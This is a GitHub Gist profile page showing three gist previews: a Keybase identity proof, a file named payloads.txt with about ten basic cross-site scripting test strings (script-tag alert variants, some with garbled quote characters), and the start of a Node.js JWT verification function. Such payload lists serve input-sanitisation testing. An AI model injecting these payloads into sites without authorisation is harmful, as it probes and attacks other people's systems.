Skip to content

Instantly share code, notes, and snippets.

💭
I may be slow to respond.

Akash Ravi techtocore

💭
I may be slow to respond.
Block or report user

Report or block techtocore

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am techtocore on github.
  • I am akashravi (https://keybase.io/akashravi) on keybase.
  • I have a public key whose fingerprint is 3CD6 A05C 170A A4AC 38AC 825F 0E0A 8797 F049 B10B

To claim this, I am signing this object:

View payloads.txt
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert(�XSS�)</script>
<script>alert(�XSS�);</script>
<script>alert(�XSS�)</script>
�><script>alert(�XSS�)</script>
<script>alert(/XSS�)</script>
<script>alert(/XSS/)</script>
View jwt.js
var jwt = require('jsonwebtoken'); // used to create, sign, and verify tokens
var config = require('../../config'); // get our config file
var User = require('./../user/User');
async function check(req) {
var token = req.headers['authorization'];
if (!token || !token.split(' ')[1])
throw new Error('No token provided');
var decoded = await jwt.verify(token.split(' ')[1], config.secret);
You can’t perform that action at this time.